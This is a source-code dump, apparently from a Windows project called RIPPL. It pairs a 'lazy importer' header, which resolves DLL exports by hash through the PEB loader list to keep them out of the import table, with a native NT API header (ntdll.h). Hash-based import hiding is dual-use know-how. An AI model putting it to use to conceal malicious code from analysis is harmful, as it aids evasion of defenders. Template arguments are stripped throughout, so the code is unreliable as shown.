win::IMAGE_EXPORT_DIRECTORY* image_export_dir( const char* base) noexcept { return reinterpret_cast( base + nt_headers(base)->OptionalHeader.DataDirectory->VirtualAddress); } LAZY_IMPORTER_FORCEINLINE const win::LDR_DATA_TABLE_ENTRY_T* ldr_data_entry() noexcept { return reinterpret_cast( ldr()->InLoadOrderModuleList.Flink); } struct exports_directory { const char* _base; const win::IMAGE_EXPORT_DIRECTORY* _ied; unsigned long _ied_size; public: using size_type = unsigned long; LAZY_IMPORTER_FORCEINLINE exports_directory(const char* base) noexcept : _base(base) { const auto ied_data_dir = nt_headers(base)->OptionalHeader.DataDirectory[0]; _ied = reinterpret_cast( base + ied_data_dir.VirtualAddress); _ied_size = ied_data_dir.Size; } LAZY_IMPORTER_FORCEINLINE explicit operator bool() const noexcept { return reinterpret_cast(_ied) != _base; } LAZY_IMPORTER_FORCEINLINE size_type size() const noexcept { return _ied->NumberOfNames; } LAZY_IMPORTER_FORCEINLINE const char* base() const noexcept { return _base; } LAZY_IMPORTER_FORCEINLINE const win::IMAGE_EXPORT_DIRECTORY* ied() const noexcept { return _ied; } LAZY_IMPORTER_FORCEINLINE const char* name(size_type index) const noexcept { return reinterpret_cast( _base + reinterpret_cast( _base + _ied->AddressOfNames)[index]); } LAZY_IMPORTER_FORCEINLINE const char* address(size_type index) const noexcept { const auto* const rva_table = reinterpret_cast(_base + _ied->AddressOfFunctions); const auto* const ord_table = reinterpret_cast( _base + _ied->AddressOfNameOrdinals); return _base + rva_table[ord_table[index]]; } LAZY_IMPORTER_FORCEINLINE bool is_forwarded( const char* export_address) const noexcept { const auto ui_ied = reinterpret_cast(_ied); return (export_address > ui_ied && export_address < ui_ied + _ied_size); } }; struct safe_module_enumerator { using value_type = const detail::win::LDR_DATA_TABLE_ENTRY_T; value_type* value; value_type* head; LAZY_IMPORTER_FORCEINLINE safe_module_enumerator() noexcept : safe_module_enumerator(ldr_data_entry()) {} LAZY_IMPORTER_FORCEINLINE safe_module_enumerator(const detail::win::LDR_DATA_TABLE_ENTRY_T* ldr) noexcept : value(ldr->load_order_next()), head(value) {} LAZY_IMPORTER_FORCEINLINE void reset() noexcept { value = head->load_order_next(); } LAZY_IMPORTER_FORCEINLINE bool next() noexcept { value = value->load_order_next(); return value != head && value->DllBase; } }; struct unsafe_module_enumerator { using value_type = const detail::win::LDR_DATA_TABLE_ENTRY_T*; value_type value; LAZY_IMPORTER_FORCEINLINE unsafe_module_enumerator() noexcept : value(ldr_data_entry()) {} LAZY_IMPORTER_FORCEINLINE void reset() noexcept { value = ldr_data_entry(); } LAZY_IMPORTER_FORCEINLINE bool next() noexcept { value = value->load_order_next(); return true; } }; // provides the cached functions which use Derive classes methods template class lazy_base { protected: // This function is needed because every templated function // with different args has its own static buffer LAZY_IMPORTER_FORCEINLINE static void*& _cache() noexcept { static void* value = nullptr; return value; } public: template LAZY_IMPORTER_FORCEINLINE static T safe() noexcept { return Derived::template get(); } template LAZY_IMPORTER_FORCEINLINE static T cached() noexcept { auto& cached = _cache(); if (!cached) cached = Derived::template get(); return (T)(cached); } template LAZY_IMPORTER_FORCEINLINE static T safe_cached() noexcept { return cached(); } }; template struct lazy_module : lazy_base> { template LAZY_IMPORTER_FORCEINLINE static T get() noexcept { Enum e; do { if (hash(e.value->BaseDllName, get_offset(OHP)) == get_hash(OHP)) return (T)(e.value->DllBase); } while (e.next()); return {}; } template LAZY_IMPORTER_FORCEINLINE static T in(Ldr ldr) noexcept { safe_module_enumerator e((const detail::win::LDR_DATA_TABLE_ENTRY_T*)(ldr)); do { if (hash(e.value->BaseDllName, get_offset(OHP)) == get_hash(OHP)) return (T)(e.value->DllBase); } while (e.next()); return {}; } template LAZY_IMPORTER_FORCEINLINE static T in_cached(Ldr ldr) noexcept { auto& cached = lazy_base>::_cache(); if (!cached) cached = in(ldr); return (T)(cached); } }; template struct lazy_function : lazy_base, T> { using base_type = lazy_base, T>; template LAZY_IMPORTER_FORCEINLINE decltype(auto) operator()(Args&&... args) const { #ifndef LAZY_IMPORTER_CACHE_OPERATOR_PARENS return get()(LAZY_IMPORTER_CPP_FORWARD(Args, args)...); #else return this->cached()(LAZY_IMPORTER_CPP_FORWARD(Args, args)...); #endif } template LAZY_IMPORTER_FORCEINLINE static F get() noexcept { // for backwards compatability. // Before 2.0 it was only possible to resolve forwarded exports when // this macro was enabled #ifdef LAZY_IMPORTER_RESOLVE_FORWARDED_EXPORTS return forwarded(); #else Enum e; do { #ifdef LAZY_IMPORTER_HARDENED_MODULE_CHECKS if (!e.value->DllBase || !e.value->FullDllName.Length) continue; #endif const exports_directory exports(e.value->DllBase); if (exports) { auto export_index = exports.size(); while (export_index--) if (hash(exports.name(export_index), get_offset(OHP)) == get_hash(OHP)) return (F)(exports.address(export_index)); } } while (e.next()); return {}; #endif } template LAZY_IMPORTER_FORCEINLINE static F forwarded() noexcept { detail::win::UNICODE_STRING_T name; forwarded_hashes hashes{ 0, get_hash(OHP) }; Enum e; do { name = e.value->BaseDllName; name.Length -= 8; // get rid of .dll extension if (!hashes.module_hash || hash(name, get_offset(OHP)) == hashes.module_hash) { const exports_directory exports(e.value->DllBase); if (exports) { auto export_index = exports.size(); while (export_index--) if (hash(exports.name(export_index), get_offset(OHP)) == hashes.function_hash) { const auto addr = exports.address(export_index); if (exports.is_forwarded(addr)) { hashes = hash_forwarded( reinterpret_cast(addr), get_offset(OHP)); e.reset(); break; } return (F)(addr); } } } } while (e.next()); return {}; } template LAZY_IMPORTER_FORCEINLINE static F forwarded_safe() noexcept { return forwarded(); } template LAZY_IMPORTER_FORCEINLINE static F forwarded_cached() noexcept { auto& value = base_type::_cache(); if (!value) value = forwarded(); return (F)(value); } template LAZY_IMPORTER_FORCEINLINE static F forwarded_safe_cached() noexcept { return forwarded_cached(); } template LAZY_IMPORTER_FORCEINLINE static F in(Module m) noexcept { if (IsSafe && !m) return {}; const exports_directory exports((const char*)(m)); if (IsSafe && !exports) return {}; for (unsigned long i{};; ++i) { if (IsSafe && i == exports.size()) break; if (hash(exports.name(i), get_offset(OHP)) == get_hash(OHP)) return (F)(exports.address(i)); } return {}; } template LAZY_IMPORTER_FORCEINLINE static F in_safe(Module m) noexcept { return in(m); } template LAZY_IMPORTER_FORCEINLINE static F in_cached(Module m) noexcept { auto& value = base_type::_cache(); if (!value) value = in(m); return (F)(value); } template LAZY_IMPORTER_FORCEINLINE static F in_safe_cached(Module m) noexcept { return in_cached(m); } template LAZY_IMPORTER_FORCEINLINE static F nt() noexcept { return in(ldr_data_entry()->load_order_next()->DllBase); } template LAZY_IMPORTER_FORCEINLINE static F nt_safe() noexcept { return in_safe(ldr_data_entry()->load_order_next()->DllBase); } template LAZY_IMPORTER_FORCEINLINE static F nt_cached() noexcept { return in_cached(ldr_data_entry()->load_order_next()->DllBase); } template LAZY_IMPORTER_FORCEINLINE static F nt_safe_cached() noexcept { return in_safe_cached(ldr_data_entry()->load_order_next()->DllBase); } }; } } // namespace li::detail #endif // include guard ================================================ FILE: RIPPL/ntdll.h ================================================ /*****************************************************************************/ /* Ntdll.h Copyright (c) Ladislav Zezula 2005 */ /*---------------------------------------------------------------------------*/ /* Header file for the import library "Ntdll.lib" */ /* */ /* This library has been created because of never-ending problems when */ /* Ntdll.lib from Windows DDK with SDK libs (duplicate symbols, linker */ /* errors etc). */ /* Now, it is possible to use native NT API with no problems, all you need */ /* is just to include this header file */ /*---------------------------------------------------------------------------*/ /* Date Ver Who Comment */ /* -------- ---- --- ------- */ /* 15.05.03 1.00 Lad The first version of Ntdll.h */ /* 16.09.05 2.00 Lad Far more functions */ /*****************************************************************************/ #include #ifndef __NTDLL_H__ #define __NTDLL_H__ #ifdef __cplusplus extern "C" { #endif #ifdef _NTDDK_ #error This header cannot be compiled together with NTDDK #endif #ifndef _NTDLL_SELF_ // Auto-insert the library #pragma comment(lib, "Ntdll.lib") #endif #pragma warning(disable: 4201) // nonstandard extension used : nameless struct/union //------------------------------------------------------------------------------ // Defines for NTSTATUS #ifdef _Return_type_success_ typedef _Return_type_success_(return >= 0) LONG NTSTATUS; #else typedef LONG NTSTATUS; #endif #ifndef NT_SUCCESS #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) #endif #ifndef STATUS_SUCCESS #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) #endif #ifndef STATUS_UNSUCCESSFUL #define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L) #endif #ifndef ASSERT #ifdef _DEBUG #define ASSERT(x) assert(x) #else #define ASSERT(x) /* x */ #endif #endif #ifndef DEVICE_TYPE #define DEVICE_TYPE DWORD #endif //----------------------------------------------------------------------------- // Definition of intervals for waiting functions #define ABSOLUTE_INTERVAL(wait) (wait) #define RELATIVE_INTERVAL(wait) (-(wait)) #define NANOSECONDS(nanos) \ (((signed __int64)(nanos)) / 100L) #define MICROSECONDS(micros) \ (((signed __int64)(micros)) * NANOSECONDS(1000L)) #define MILISECONDS(mili) \ (((signed __int64)(mili)) * MICROSECONDS(1000L)) #define SECONDS(seconds) \ (((signed __int64)(seconds)) * MILISECONDS(1000L)) //------------------------------------------------------------------------------ // Structures #ifndef _NTDEF_ typedef enum _EVENT_TYPE { NotificationEvent, SynchronizationEvent } EVENT_TYPE; // // ANSI strings are counted 8-bit character strings. If they are // NULL terminated, Length does not include trailing NULL. // typedef struct _STRING { USHORT Length; USHORT MaximumLength; PCHAR Buffer; } STRING, *PSTRING; // // Unicode strings are counted 16-bit character strings. If they are // NULL terminated, Length does not include trailing NULL. // typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; // // bitmap type // typedef struct _RTL_BITMAP { ULONG SizeOfBitmap; PULONG Buffer; } RTL_BITMAP, *PRTL_BITMAP; // // preallocated heap-growable buffers // typedef struct _RTL_BUFFER { PUCHAR Buffer; PUCHAR StaticBuffer; SIZE_T Size; SIZE_T StaticSize; SIZE_T ReservedForAllocatedSize; // for future doubling PVOID ReservedForIMalloc; // for future pluggable growth } RTL_BUFFER, *PRTL_BUFFER; // // A preallocated buffer that is "tied" to a UNICODE_STRING // typedef struct _RTL_UNICODE_STRING_BUFFER { UNICODE_STRING String; RTL_BUFFER ByteBuffer; UCHAR MinimumStaticBufferForTerminalNul[sizeof(WCHAR)]; } RTL_UNICODE_STRING_BUFFER, *PRTL_UNICODE_STRING_BUFFER; typedef STRING ANSI_STRING; typedef PSTRING PANSI_STRING; typedef STRING OEM_STRING; typedef PSTRING POEM_STRING; typedef CONST STRING* PCOEM_STRING; typedef const UNICODE_STRING *PCUNICODE_STRING; #define UNICODE_NULL ((WCHAR)0) // winnt #ifndef RTL_CONSTANT_STRING // UNICODE_STRING FooStr = RTL_CONSTANT_STRING(L"Foo"); #define RTL_CONSTANT_STRING(str) {(USHORT)(sizeof(str) - sizeof(str[0])), (USHORT)(sizeof(str)), str} #endif // RTL_CONSTANT_STRING // // Definitions for Object Creation // #define OBJ_INHERIT 0x00000002L #define OBJ_PERMANENT 0x00000010L #define OBJ_EXCLUSIVE 0x00000020L #define OBJ_CASE_INSENSITIVE 0x00000040L #define OBJ_OPENIF 0x00000080L #define OBJ_OPENLINK 0x00000100L #define OBJ_KERNEL_HANDLE 0x00000200L #define OBJ_FORCE_ACCESS_CHECK 0x00000400L #define OBJ_VALID_ATTRIBUTES 0x000007F2L // // Object Attributes structure // typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; // // IO_STATUS_BLOCK // typedef struct _IO_STATUS_BLOCK { union { NTSTATUS Status; PVOID Pointer; }; ULONG_PTR Information; } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; // // ClientId // typedef struct _CLIENT_ID { HANDLE UniqueProcess; HANDLE UniqueThread; } CLIENT_ID, *PCLIENT_ID; #endif // _NTDEF_ /* typedef struct _IMAGE_RELOC { WORD offset : 12; WORD type : 4; } IMAGE_RELOC, *PIMAGE_RELOC; */ //------------------------------------------------------------------------------ // Macros #ifndef InitializeObjectAttributes #define InitializeObjectAttributes( innerPath, n, a, r, s ) { \ (innerPath)->Length = sizeof( OBJECT_ATTRIBUTES ); \ (innerPath)->RootDirectory = r; \ (innerPath)->Attributes = a; \ (innerPath)->ObjectName = n; \ (innerPath)->SecurityDescriptor = s; \ (innerPath)->SecurityQualityOfService = NULL; \ } #endif // // Macros for handling LIST_ENTRY-based lists // #if !defined(_WDMDDK_) && !defined(_LIST_ENTRY_MACROS_DEFINED_) #define _LIST_ENTRY_MACROS_DEFINED_ BOOLEAN FORCEINLINE IsListEmpty( IN const LIST_ENTRY * ListHead ) { return (BOOLEAN)(ListHead->Flink == ListHead); } FORCEINLINE VOID InitializeListHead( IN PLIST_ENTRY ListHead ) { ListHead->Flink = ListHead->Blink = ListHead; } FORCEINLINE VOID InsertHeadList( IN OUT PLIST_ENTRY ListHead, IN OUT PLIST_ENTRY Entry ) { PLIST_ENTRY Flink; Flink = ListHead->Flink; Entry->Flink = Flink; Entry->Blink = ListHead; Flink->Blink = Entry; ListHead->Flink = Entry; } FORCEINLINE VOID InsertTailList( IN OUT PLIST_ENTRY ListHead, IN OUT PLIST_ENTRY Entry ) { PLIST_ENTRY Blink; Blink = ListHead->Blink; Entry->Flink = ListHead; Entry->Blink = Blink; Blink->Flink = Entry; ListHead->Blink = Entry; } FORCEINLINE BOOLEAN RemoveEntryList( IN PLIST_ENTRY Entry ) { PLIST_ENTRY Blink; PLIST_ENTRY Flink; Flink = Entry->Flink; Blink = Entry->Blink; Blink->Flink = Flink; Flink->Blink = Blink; return (BOOLEAN)(Flink == Blink); } #endif // #if !defined(_WDMDDK_) && !defined(_LIST_ENTRY_MACROS_DEFINED_) //----------------------------------------------------------------------------- // Bitmap functions NTSYSAPI VOID NTAPI RtlSetBit( PRTL_BITMAP BitMapHeader, ULONG BitNumber ); NTSYSAPI VOID NTAPI RtlSetBits( PRTL_BITMAP BitMapHeader, ULONG StartingIndex, ULONG NumberToSet ); //----------------------------------------------------------------------------- // Unicode string functions NTSYSAPI VOID NTAPI RtlInitString( PSTRING DestinationString, PCSTR SourceString ); NTSYSAPI VOID NTAPI RtlInitUnicodeString( PUNICODE_STRING DestinationString, PCWSTR SourceString ); NTSYSAPI NTSTATUS NTAPI RtlInitUnicodeStringEx( PUNICODE_STRING DestinationString, PCWSTR SourceString ); NTSYSAPI BOOLEAN NTAPI RtlCreateUnicodeString( OUT PUNICODE_STRING DestinationString, IN PCWSTR SourceString ); NTSYSAPI BOOLEAN NTAPI RtlCreateUnicodeStringFromAsciiz( OUT PUNICODE_STRING Destination, IN PCSTR Source ); NTSYSAPI BOOLEAN NTAPI RtlPrefixUnicodeString( IN PUNICODE_STRING String1, IN PUNICODE_STRING String2, IN BOOLEAN CaseInSensitive ); NTSYSAPI NTSTATUS NTAPI RtlDuplicateUnicodeString( IN BOOLEAN AllocateNew, IN PUNICODE_STRING SourceString, OUT PUNICODE_STRING TargetString ); NTSYSAPI NTSTATUS NTAPI RtlAppendUnicodeToString( PUNICODE_STRING Destination, PCWSTR Source ); NTSYSAPI NTSTATUS NTAPI RtlAppendUnicodeStringToString( IN OUT PUNICODE_STRING Destination, IN PUNICODE_STRING Source ); NTSYSAPI NTSTATUS NTAPI RtlUnicodeStringToInteger( IN PUNICODE_STRING String, IN ULONG Base OPTIONAL, OUT PULONG Value ); NTSYSAPI NTSTATUS NTAPI RtlIntegerToUnicodeString( IN ULONG Value, IN ULONG Base OPTIONAL, IN OUT PUNICODE_STRING String ); NTSYSAPI NTSTATUS NTAPI RtlGUIDFromString( IN PUNICODE_STRING GuidString, OUT GUID *Guid ); NTSYSAPI LONG NTAPI RtlCompareUnicodeString( IN PUNICODE_STRING String1, IN PUNICODE_STRING String2, IN BOOLEAN CaseInSensitive ); // Windows Vista or newer NTSYSAPI LONG NTAPI RtlCompareUnicodeStrings( IN PWCH String1, IN SIZE_T Length1, IN PWCH String2, IN SIZE_T Length2, IN BOOLEAN CaseInSensitive ); NTSYSAPI VOID NTAPI RtlCopyUnicodeString( OUT PUNICODE_STRING DestinationString, IN PUNICODE_STRING SourceString ); NTSYSAPI WCHAR NTAPI RtlUpcaseUnicodeChar( IN WCHAR SourceCharacter ); NTSYSAPI NTSTATUS NTAPI RtlUpcaseUnicodeString( OUT PUNICODE_STRING DestinationString, IN PUNICODE_STRING SourceString, IN BOOLEAN AllocateDestinationString ); NTSYSAPI NTSTATUS NTAPI RtlDowncaseUnicodeString( OUT PUNICODE_STRING DestinationString, IN PUNICODE_STRING SourceString, IN BOOLEAN AllocateDestinationString ); NTSYSAPI NTSTATUS NTAPI RtlUpcaseUnicodeToMultiByteN( OUT PCH MultiByteString, IN ULONG MaxBytesInMultiByteString, OUT PULONG BytesInMultiByteString OPTIONAL, IN PWCH UnicodeString, IN ULONG BytesInUnicodeString ); NTSYSAPI BOOLEAN NTAPI RtlEqualUnicodeString( IN PUNICODE_STRING String1, IN PUNICODE_STRING String2, IN BOOLEAN CaseInSensitive ); NTSYSAPI VOID NTAPI RtlFreeUnicodeString( IN PUNICODE_STRING UnicodeString ); NTSYSAPI WCHAR NTAPI RtlAnsiCharToUnicodeChar( IN OUT PUCHAR * SourceCharacter ); NTSYSAPI NTSTATUS NTAPI RtlAnsiStringToUnicodeString( OUT PUNICODE_STRING DestinationString, IN PANSI_STRING SourceString, IN BOOLEAN AllocateDestinationString ); NTSYSAPI NTSTATUS NTAPI RtlUnicodeStringToAnsiString( OUT PANSI_STRING DestinationString, IN PUNICODE_STRING SourceString, IN BOOLEAN AllocateDestinationString ); NTSYSAPI VOID NTAPI RtlInitAnsiString( OUT PANSI_STRING DestinationString, IN PCHAR SourceString ); NTSYSAPI VOID NTAPI RtlFreeAnsiString( IN PANSI_STRING AnsiString ); NTSYSAPI NTSTATUS NTAPI RtlFormatCurrentUserKeyPath( OUT PUNICODE_STRING CurrentUserKeyPath ); NTSYSAPI VOID NTAPI RtlRaiseStatus( IN NTSTATUS Status ); NTSYSAPI VOID NTAPI DbgBreakPoint( VOID ); NTSYSAPI ULONG _cdecl DbgPrint( PCH Format, ... ); // Since Windows XP NTSYSAPI ULONG __cdecl DbgPrintEx( IN ULONG ComponentId, IN ULONG Level, IN PCSTR Format, ... ); NTSYSAPI ULONG NTAPI RtlRandom( IN OUT PULONG Seed ); //----------------------------------------------------------------------------- // Critical section functions NTSYSAPI NTSTATUS NTAPI RtlInitializeCriticalSection( IN PRTL_CRITICAL_SECTION CriticalSection ); NTSYSAPI NTSTATUS NTAPI RtlInitializeCriticalSectionAndSpinCount( IN PRTL_CRITICAL_SECTION CriticalSection, IN ULONG SpinCount ); NTSYSAPI BOOL NTAPI RtlTryEnterCriticalSection( IN PRTL_CRITICAL_SECTION CriticalSection ); NTSYSAPI NTSTATUS NTAPI RtlEnterCriticalSection( IN PRTL_CRITICAL_SECTION CriticalSection ); NTSYSAPI NTSTATUS NTAPI RtlLeaveCriticalSection( IN PRTL_CRITICAL_SECTION CriticalSection ); NTSYSAPI NTSTATUS NTAPI RtlDeleteCriticalSection( IN PRTL_CRITICAL_SECTION CriticalSection ); //----------------------------------------------------------------------------- // Compression and decompression NTSYSAPI NTSTATUS NTAPI RtlCompressBuffer( IN USHORT CompressionFormatAndEngine, IN PUCHAR UncompressedBuffer, IN ULONG UncompressedBufferSize, OUT PUCHAR CompressedBuffer, IN ULONG CompressedBufferSize, IN ULONG UncompressedChunkSize, OUT PULONG FinalCompressedSize, IN PVOID WorkSpace ); NTSYSAPI NTSTATUS NTAPI RtlDecompressBuffer( IN USHORT CompressionFormat, OUT PUCHAR UncompressedBuffer, IN ULONG UncompressedBufferSize, IN PUCHAR CompressedBuffer, IN ULONG CompressedBufferSize, OUT PULONG FinalUncompressedSize ); //----------------------------------------------------------------------------- // 8.3 name support typedef struct _GENERATE_NAME_CONTEXT { // // The structure is divided into two strings. The Name, and extension. // Each part contains the value that was last inserted in the name. // The length values are in terms of wchars and not bytes. We also // store the last index value used in the generation collision algorithm. // USHORT Checksum; BOOLEAN ChecksumInserted; UCHAR NameLength; // not including extension WCHAR NameBuffer[8]; // e.g., "ntoskrnl" ULONG ExtensionLength; // including dot WCHAR ExtensionBuffer[4]; // e.g., ".exe" ULONG LastIndexValue; } GENERATE_NAME_CONTEXT, *PGENERATE_NAME_CONTEXT; NTSYSAPI BOOLEAN NTAPI RtlIsNameLegalDOS8Dot3( IN PUNICODE_STRING Name, IN OUT POEM_STRING OemName OPTIONAL, OUT PBOOLEAN NameContainsSpaces OPTIONAL ); NTSYSAPI NTSTATUS NTAPI RtlGenerate8dot3Name ( IN PCUNICODE_STRING Name, IN BOOLEAN AllowExtendedCharacters, IN OUT PGENERATE_NAME_CONTEXT Context, IN OUT PUNICODE_STRING Name8dot3 ); //----------------------------------------------------------------------------- // Object functions // // Object Manager Directory Specific Access Rights. // #ifndef DIRECTORY_QUERY #define DIRECTORY_QUERY 0x0001 #define DIRECTORY_TRAVERSE 0x0002 #define DIRECTORY_CREATE_OBJECT 0x0004 #define DIRECTORY_CREATE_SUBDIRECTORY 0x0008 #define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF) #endif typedef enum _POOL_TYPE { NonPagedPool, PagedPool, NonPagedPoolMustSucceed, DontUseThisType, NonPagedPoolCacheAligned, PagedPoolCacheAligned, NonPagedPoolCacheAlignedMustS, MaxPoolType, NonPagedPoolSession = 32, PagedPoolSession, NonPagedPoolMustSucceedSession, DontUseThisTypeSession, NonPagedPoolCacheAlignedSession, PagedPoolCacheAlignedSession, NonPagedPoolCacheAlignedMustSSession } POOL_TYPE; // // For NtQueryObject // typedef enum _OBJECT_INFORMATION_CLASS { ObjectBasicInformation, ObjectNameInformation, ObjectTypeInformation, ObjectTypesInformation, ObjectHandleFlagInformation, ObjectSessionInformation, MaxObjectInfoClass } OBJECT_INFORMATION_CLASS; // // NtQueryObject uses ObjectBasicInformation // typedef struct _OBJECT_BASIC_INFORMATION { ULONG Attributes; ACCESS_MASK GrantedAccess; ULONG HandleCount; ULONG PointerCount; ULONG PagedPoolUsage; ULONG NonPagedPoolUsage; ULONG Reserved[3]; ULONG NameInformationLength; ULONG TypeInformationLength; ULONG SecurityDescriptorLength; LARGE_INTEGER CreateTime; } OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION; // // NtQueryObject uses ObjectNameInformation // typedef struct _OBJECT_NAME_INFORMATION { UNICODE_STRING Name; } OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION; // // NtQueryObject uses ObjectTypeInformation // typedef struct _OBJECT_TYPE_INFORMATION { UNICODE_STRING TypeName; ULONG TotalNumberOfObjects; ULONG TotalNumberOfHandles; ULONG TotalPagedPoolUsage; ULONG TotalNonPagedPoolUsage; ULONG TotalNamePoolUsage; ULONG TotalHandleTableUsage; ULONG HighWaterNumberOfObjects; ULONG HighWaterNumberOfHandles; ULONG HighWaterPagedPoolUsage; ULONG HighWaterNonPagedPoolUsage; ULONG HighWaterNamePoolUsage; ULONG HighWaterHandleTableUsage; ULONG InvalidAttributes; GENERIC_MAPPING GenericMapping; ULONG ValidAccessMask; BOOLEAN SecurityRequired; BOOLEAN MaintainHandleCount; ULONG PoolType; ULONG DefaultPagedPoolCharge; ULONG DefaultNonPagedPoolCharge; } OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; typedef struct _OBJECT_TYPES_INFORMATION { ULONG NumberOfTypes; OBJECT_TYPE_INFORMATION TypeInformation[1]; } OBJECT_TYPES_INFORMATION, *POBJECT_TYPES_INFORMATION; // // NtQueryObject uses ObjectHandleFlagInformation // NtSetInformationObject uses ObjectHandleFlagInformation // typedef struct _OBJECT_HANDLE_FLAG_INFORMATION { BOOLEAN Inherit; BOOLEAN ProtectFromClose; } OBJECT_HANDLE_FLAG_INFORMATION, *POBJECT_HANDLE_FLAG_INFORMATION; // // NtQueryDirectoryObject uses this type // typedef struct _OBJECT_DIRECTORY_INFORMATION { UNICODE_STRING Name; UNICODE_STRING TypeName; } OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION; NTSYSAPI NTSTATUS NTAPI NtCreateDirectoryObject( OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSYSAPI NTSTATUS NTAPI NtOpenDirectoryObject( OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSYSAPI NTSTATUS NTAPI NtQueryDirectoryObject( IN HANDLE DirectoryHandle, OUT PVOID Buffer, IN ULONG Length, IN BOOLEAN ReturnSingleEntry, IN BOOLEAN RestartScan, IN OUT PULONG Context, OUT PULONG ReturnLength OPTIONAL ); NTSYSAPI NTSTATUS NTAPI NtQueryObject ( IN HANDLE ObjectHandle, IN OBJECT_INFORMATION_CLASS ObjectInformationClass, OUT PVOID ObjectInformation, IN ULONG Length, OUT PULONG ResultLength OPTIONAL ); NTSYSAPI NTSTATUS NTAPI NtSetInformationObject ( IN HANDLE ObjectHandle, IN OBJECT_INFORMATION_CLASS ObjectInformationClass, IN PVOID ObjectInformation, IN ULONG Length ); NTSYSAPI NTSTATUS NTAPI NtDuplicateObject ( IN HANDLE SourceProcessHandle, IN HANDLE SourceHandle, IN HANDLE TargetProcessHandle OPTIONAL, OUT PHANDLE TargetHandle OPTIONAL, IN ACCESS_MASK DesiredAccess, IN ULONG HandleAttributes, IN ULONG Options ); NTSYSAPI NTSTATUS NTAPI NtQuerySecurityObject ( IN HANDLE ObjectHandle, IN SECURITY_INFORMATION SecurityInformation, OUT PSECURITY_DESCRIPTOR SecurityDescriptor, IN ULONG DescriptorLength, OUT PULONG ReturnLength ); NTSYSAPI NTSTATUS NTAPI ZwQuerySecurityObject ( IN HANDLE ObjectHandle, IN SECURITY_INFORMATION SecurityInformation, OUT PSECURITY_DESCRIPTOR SecurityDescriptor, IN ULONG DescriptorLength, OUT PULONG ReturnLength ); NTSYSAPI NTSTATUS NTAPI NtSetSecurityObject ( IN HANDLE ObjectHandle, IN SECURITY_INFORMATION SecurityInformation, IN PSECURITY_DESCRIPTOR SecurityDescriptor ); NTSYSAPI NTSTATUS NTAPI ZwSetSecurityObject ( IN HANDLE ObjectHandle, IN SECURITY_INFORMATION SecurityInformation, IN PSECURITY_DESCRIPTOR SecurityDescriptor ); NTSYSAPI NTSTATUS NTAPI NtMakeTemporaryObject( IN HANDLE ObjectHandle ); NTSYSAPI NTSTATUS NTAPI ZwMakeTemporaryObject( IN HANDLE ObjectHandle ); //----------------------------------------------------------------------------- // Handle table RTL functions #define LEVEL_HANDLE_ID 0x74000000 #define LEVEL_HANDLE_ID_MASK 0xFF000000 #define LEVEL_HANDLE_INDEX_MASK 0x00FFFFFF typedef enum _RTL_GENERIC_COMPARE_RESULTS { GenericLessThan, GenericGreaterThan, GenericEqual } RTL_GENERIC_COMPARE_RESULTS; typedef struct _RTL_SPLAY_LINKS { struct _RTL_SPLAY_LINKS *Parent; struct _RTL_SPLAY_LINKS *LeftChild; struct _RTL_SPLAY_LINKS *RightChild; } RTL_SPLAY_LINKS, *PRTL_SPLAY_LINKS; struct _RTL_GENERIC_TABLE; typedef RTL_GENERIC_COMPARE_RESULTS (NTAPI * PRTL_GENERIC_COMPARE_ROUTINE) ( struct _RTL_GENERIC_TABLE *Table, PVOID FirstStruct, PVOID SecondStruct ); typedef PVOID (NTAPI *PRTL_GENERIC_ALLOCATE_ROUTINE) ( struct _RTL_GENERIC_TABLE *Table, ULONG ByteSize ); typedef VOID (NTAPI *PRTL_GENERIC_FREE_ROUTINE) ( struct _RTL_GENERIC_TABLE *Table, PVOID Buffer ); typedef struct _RTL_GENERIC_TABLE { PRTL_SPLAY_LINKS TableRoot; LIST_ENTRY InsertOrderList; PLIST_ENTRY OrderedPointer; ULONG WhichOrderedElement; ULONG NumberGenericTableElements; PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine; PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine; PRTL_GENERIC_FREE_ROUTINE FreeRoutine; PVOID TableContext; } RTL_GENERIC_TABLE, *PRTL_GENERIC_TABLE; typedef struct _RTL_HANDLE_TABLE_ENTRY { ULONG Flags; struct _RTL_HANDLE_TABLE_ENTRY *NextFree; } RTL_HANDLE_TABLE_ENTRY, *PRTL_HANDLE_TABLE_ENTRY; typedef struct _RTL_HANDLE_TABLE { ULONG MaximumNumberOfHandles; ULONG SizeOfHandleTableEntry; ULONG Reserved[2]; PRTL_HANDLE_TABLE_ENTRY FreeHandles; PRTL_HANDLE_TABLE_ENTRY CommittedHandles; PRTL_HANDLE_TABLE_ENTRY UnCommittedHandles; PRTL_HANDLE_TABLE_ENTRY MaxReservedHandles; } RTL_HANDLE_TABLE, *PRTL_HANDLE_TABLE; NTSYSAPI VOID NTAPI RtlInitializeGenericTable ( IN PRTL_GENERIC_TABLE Table, IN PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine, IN PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine, IN PRTL_GENERIC_FREE_ROUTINE FreeRoutine, IN PVOID TableContext ); NTSYSAPI VOID NTAPI RtlInitializeHandleTable( IN ULONG MaximumNumberOfHandles, IN ULONG SizeOfHandleTableEntry, OUT PRTL_HANDLE_TABLE HandleTable ); NTSYSAPI PRTL_HANDLE_TABLE_ENTRY 